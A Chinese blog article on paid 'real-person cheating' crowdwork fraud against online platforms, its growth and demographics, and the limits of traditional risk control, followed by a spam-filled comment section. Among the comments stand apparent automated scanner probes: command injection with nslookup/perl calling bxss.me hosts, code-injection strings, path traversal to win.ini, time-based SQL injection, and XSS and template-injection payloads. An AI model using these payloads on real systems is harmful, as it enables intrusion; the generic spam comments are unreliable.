目录:
一. 简述
二.发展
三.危害险
一.概述与要点
真人作弊俨然已经发展成为目前黑灰产最常见、最难以防御、同时也对风控体系破坏极大的一种侵害平台整体安全性及稳定性的作恶形式,在隐秘的角落里,它无时无刻不给平台带来伤害。

1)真人作弊黑灰产经过数年发展,模式和形态越发多元和丰富,已渗透至众多场景、众多行业;
2)真人作弊黑灰产发展迅猛,自2014年至2020年,真人作弊平台(app)的数量在增长了近40倍,参与人数增长了近百倍;
3) 相较于机器作弊,真人作弊对甲方的风控和安全能力提出了更高的要求,带来了新的挑战;
4)以情报能力和数据能力为风控赋能,是识别新型欺诈模式的有效方式方法。
二.发展
本质上,真人作弊源于人的贪婪和惰性,驱动因素是互联网技术和企业与黑灰产长期攻防对抗,从而演化出了此类比较高级的作恶形态。近年来,这种模式和形态越发多元和丰富,从早期单一的兼职刷单,到如今的多行业、多场景、多任务的广泛渗透;从早期的只在PC端进行的单一手法的兼职,到如今以移动端为主;从早期的线上群组媒介(QQ群、YY语音等),到如今平台化、裂变化。

多行业涉及
真人作弊涉及的行业极其广泛,从金融领域到UGC娱乐,从生活服务、视频音频到新闻资讯、社交聊天等,无所不涉。

多场景涉及
在业务范围方面,真人作弊也几乎涵盖了所有黑灰产作恶场景,无论是薅羊毛、流量欺诈,还是广告刷量、平台引流、裂变推广等场景,真人作弊都参与其中。

多任务参与
真人作弊任务,同样是包罗万象,你能想到的所有可以赚取利润的任务,都被真人作弊染指:下载注册、认证绑卡、评论关注、助力砍价、阅读分享、投票转发等无一不包。

真人作弊APP近年发展迅猛
2014年—2020年APP活跃量及下载量指数级增长
在最早期,真人作弊还是以“线上群组”的方式为媒介进行交流和信息传播,典型的有YY语音群组、QQ黑灰产交流群、论坛聊天等,但是当互联网走向移动化之后,真人作弊也紧跟时代发展的步伐。

在真人作弊APP活跃数量呈几何式增长的时候,相关的下载量也增长迅猛,如下图所示:

真人作弊参与人数爆发式增长的背后,离不开资源的支撑,其中一个重要资源就是平台:
真人作弊平台——即真人作弊APP,这一方面可以从真人作弊APP的开发者数量中体现,真人作弊APP的开发者数量同样呈现指数形式的增长:从2014年的不足20个,到今年的1500左右,发展速度惊人。

企业开发者占比近90%,提供真人作弊平台类服务的利润可见一斑。因小知大,这也从侧面反映出,整个真人作弊产业的利润何其丰厚。
开发者的地域分布也和中国互联网的地域发展特征基本吻合,前四个地区分布是:北京、上海、深圳、杭州:
更有甚者,个别公司同时开发了很多款真人作弊平台了APP,比如位于蚌埠的某家公司,同时开发了23款真人作弊APP;青岛的某家公司,同时开发了10款真人作弊APP等等。所谓无利不起早,可见开发真人作弊APP,能够为这些公司带来的利润不会太少。

任何一个产业的兴起,都离不开人的参与。如上所见,无论是真人作弊任务的多样性还是APP的蓬勃发展,其背后都是因为巨大的需求推动。实际上,参与真人作弊的用户的确呈现指数型增长,从2014年的十万余人,到今年的保守估计约一千一百万,七年翻了百余倍,"真人作弊的力量"已不容小觑:

通过对参与真人作弊用户群体的随机抽样调查发现,真人作弊参与者以男性居多,占比为64%,女性为36%:

在年龄分布方面,90后是真人作弊的主力军,占比45%,接下来是00后及80后,分别占21%和15%,可见参与作弊的人普遍年轻,这也从侧面反映出来,真人作弊的产业还会继续发展下去

从地域上来看,真人作弊的参与者分布在华南、华东、华北、华中这几个区域,其中华南区域的广东省占比最多,达35%:

三.危害
真人作弊 vs 机器作弊
真人作弊 | 机器作弊 | |
作恶群体 | 黑产团伙+大量真实用户 | 黑产团伙 |
作恶设备 | 真机 | 群控.云手机.模拟器 |
作恶资源 | 真实手机号.真实 IP | 黑卡.黑 IP |
作恶流程 | 真人操作 | 协议破解.模拟操作 |
真人作弊 vs 传统风控
传统风控是基于黑产资源和黑产团伙所表现出的“非正常人”的特征来做风险行为的检测和识别,当黑产藏匿于幕后,以现金奖励调动真实用户完成作弊任务,“人机识别”被“真人”挑战,传统风控便显得捉襟见肘。风控痛点具体表现在以下四个方面:
1)防护手段失效
无论是规则层面的风险数据库、风险规则库、风险特征库等,还是模型层面的AI算法、决策引擎等,其知识的积累主要来自于长期对机器作弊的数据分析与沉淀。猫池恶意手机卡、代理IP等传统风控数据黑名单完全不适用于真人作弊的场景,另外,真人作弊人群行为、画像、用户关系等特征往往比较离散,且变化多样,虽然不是完全的无迹可寻,但算法模型的输入强依赖于安全人员对风险数据和场景的洞察和分析能力,需要非常高的运营成本。
2)处置边界模糊
相较于处置违规的黑产账号,处置违规真实用户账号的复杂度大幅提升。如何合理地对真实用户的违规行为分类分级,如何兼容风控指标和用户体验,如何向业务团队提供强可解释性的处置理由等等,这些对于风控团队而言,考验进一步升级。
3)风险响应滞后
一旦真人作弊风险事件发生,在前期风控团队几乎是无力的,只能任风险事件的影响范围不断扩大。从风险事件的发生,到对抗方案的实施落地,时间差越大,损失越大。真人作弊场景下,这个时间差远大于机器作弊。
4)溯源复盘困难
真实用户介于黑产与受害企业之间,为黑产筑起天然屏障,难以进行事后追踪与溯源。且从已掌握的作弊数据,只能关联扩散有限范围的作弊数据,真人作弊模式变化频繁,无法对今后的真人作弊行为形成有效的知识传递与经验复用。
真人作弊带来的额外风险
除了常见的机器作弊带来的常见危害(如营销作弊、渠道作弊、虚假用户、刷单假量等)之外,真人作弊还引入了个人信息被黑产滥用和泄露的风险。
黑产收购真人用户注册的账号,用于不法用途。黑产诱导真人用户协助完成好友辅助认证、实名、人脸认证等,真人用户不但违反平台用户条款,甚至还需承担潜在的法律风险。
比如一个金融类的悬赏任务,这个任务是“认证绑卡”类型的任务:用户只需要绑卡成功就能得到30—50元的佣金奖赏。
首先,从收入产出比上看,黑产肯拿出这么高的佣金,说明黑产的收益很可能达到百元甚至更多,所以对于进行推广的金融平台来说,必然会承受不小的损失;其次,我们在与任务发布者进行聊天的时候,被要求在完成任务后提供:姓名+手机号+身份*证+银行,如下图所示:

Comments | 82 条评论
I think what you wrote made a great deal of sense. Martie Aldous Obau
I have been examinating out many of your articles and i must say pretty nice stuff. I will surely bookmark your blog. Thomasine Alejandro Idonna
I blog quite often and I genuinely appreciate your content. Hedvig Ernie Ivers
Really enjoyed this blog. Really looking forward to read more. Want more. Nichole Brandy Shenan
Yikes, crazy Julianna. Frustrating to say the least but you go! Love your attitude. Inspiring. And hopefully the last of it all for a good long time. Theodosia Keary Pentheas
You made some good points there. I looked on the internet for the subject matter and found most persons will consent with your site. Sonnie Nickola Preiser
For most recent news you have to visit world-wide-web and on world-wide-web I found this website as a most excellent site for most recent updates. Jolee Rogerio Gaelan
I every time used to read piece of writing in news papers but now as I am a user of internet thus from now I am using net for articles, thanks to web. Julietta Herold Martica
You completed certain nice points there. I did a search on the matter and found mainly people will agree with your blog. Yevette Ferdie Perzan
I think this is one of the most vital information for me. Janice Emmerich Laurel
This is flexible theme that will solve your portfolio problems. Norean Lennie Neumark
Thanks for the article post. Really thank you! Keep writing. Sal Lazarus Sparks
Thanks for the auspicious writeup. It actually was once a entertainment account it. Fernande Luke Plotkin
I am not really wonderful with English but I get hold this really easy to translate. Fae Giacopo Lodi
Magnificent beat ! I would like to apprentice at the same time as you amend your website, how could i subscribe for a blog site? The account helped me a acceptable deal. I had been a little bit familiar of this your broadcast offered shiny clear idea Shoshana Marshal Fredelia
My spouse and I stumbled over here from a different web address and thought I may as well check things out. I like what I see so i am just following you. Look forward to exploring your web page again. Brook Roman Sagerman
Hi Francesca We will be holding more Teacher Training Courses in the near future. I will keep you posted with more info. Best Miranda Ottilie Ellerey Gold
Its like you read my mind! You seem to know a lot about this, like you wrote the book in it or something. I think that you could do with some pics to drive the message home a bit, but other than that, this is wonderful blog. An excellent read. I will certainly be back.| Minne Yorgos Minerva
I think the admin of this website is genuinely working hard in favor of his web site, as here every stuff is quality based data.| Madella Avrom Nielsen
whoah this blog is wonderful i really like reading your posts. Cissiee Paulo Isleen
I like it whenever people get together and share ideas. Great blog, stick with it! Connie Adelbert Dahl
Merely wanna admit that this is handy , Thanks for taking your time to write this. Traci Nilson Missie
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam viverra euismod odio, gravida pellentesque urna varius vitae, gravida pellentesque urna varius vitae. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam viverra euismod odio, gravida pellentesque urna varius vitae. Sed dui lorem, adipiscing in adipiscing et, interdum nec metus. Mauris ultricies, justo eu convallis placerat, felis enim ornare nisi, vitae mattis nulla ante id dui. Letitia Adelbert Primaveria
I appreciate you sharing this article post. Really looking forward to read more. Want more. Ailey Shaine Slosberg
You actually make it seem so easy with your presentation but I find this matter to be actually something that I think I would never understand. It seems too complicated and extremely broad for me. I am looking forward for your next post, I will try to get the hang of it!| Marita Bail Reis
There is the defensive creativity. 3 man rush and a sack Hilliary Emmy Zinnes
Thanks for posting this guide. I tried it on my new raspberry pi zero and it seems to work fine until the very last step. Deanna Lefty Celka
I believe this web site has some really wonderful info for everyone : D. Kirstyn Arty Sabian
A true leader, visionary and a great human being. Teena Yale Edmonda
555
555
https://bxss.me/t/fit.txt
555
555
555
‘+’A’.concat(70-3).concat(22*4).concat(106).concat(75).concat(111).concat(87)+(require’socket’
Socket.gethostbyname(‘hitks’+’tvpgoebtba0f2.bxss.me.’)[3].to_s)+’
555
555
1*555
../../../../../../../../../../windows/win.ini
(773-213-5)
$(nslookup hitawtemxvihc3705b.bxss.me||perl -e "gethostbyname(‘hitawtemxvihc3705b.bxss.me’)")
555
555
‘.gethostbyname(lc(‘hitlo’.’gqatsoys69160.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(117).chr(78).chr(113).chr(65).’
555
555
555
5559654840
acu10040<s1﹥s2ʺs3ʹuca10040
acx{{98991*97996}}xca
%35%35%35%3C%53%63%52%69%50%74%20%3E%72%5A%70%68%289515%29%3C%2F%73%43%72%69%70%54%3E
555}body{acu:Expre/**/SSion(rZph(9963))}
555
https://bxss.me/t/fit.txt?.jpg
555
555
555
555
555
$(nslookup hitrzqjvttdss981b2.bxss.me||perl -e "gethostbyname(‘hitrzqjvttdss981b2.bxss.me’)")
../555
555463458*0
‘"()
1 waitfor delay ‘0:0:15’ —
d8nu5OgD’)) OR 337=(SELECT 337 FROM PG_SLEEP(15))–
".gethostbyname(lc("hityc"."xetgjbno504b7.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(67).chr(99).chr(65)."
555
;print(md5(31337));
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
‘"
Nice post. I learn something totally new and challenging on blogs I stumbleupon everyday.
It’s always exciting to read articles from other authors and practice a little something from other websites.
I really like your blog.. very nice colors & theme.
Did you create this website yourself or did you hire someone to do it for
you? Plz respond as I’m looking to design my
own blog and would like to know where u got this from. many thanks
Heya i’m for the primary time here. I came across this board
and I to find It truly useful & it helped me out a lot.
I am hoping to provide one thing back and aid others such as you helped
me.
Greetings, I think your site could be having browser compatibility issues.
When I take a look at your site in Safari, it looks fine however,
when opening in Internet Explorer, it’s got some overlapping
issues. I merely wanted to provide you with a quick heads up!
Aside from that, excellent website!
Have you ever thought about publishing an ebook or guest authoring on other websites?
I have a blog based upon on the same subjects you discuss
and would love to have you share some stories/information. I know
my subscribers would value your work. If you’re even remotely interested, feel free to
send me an e-mail.
Oh my goodness! Incredible article dude! Thank you
so much, However I am encountering issues with your RSS.
I don’t know why I am unable to subscribe to it. Is there anybody else having identical
RSS problems? Anyone that knows the answer can you kindly respond?
Thanks!!
I know this site presents quality based articles or
reviews and other material, is there any other web
page which gives such information in quality?
I am genuinely delighted to read this website posts which contains plenty of valuable data, thanks for
providing these kinds of information.
Thanks for your blog, nice to read. Do not stop.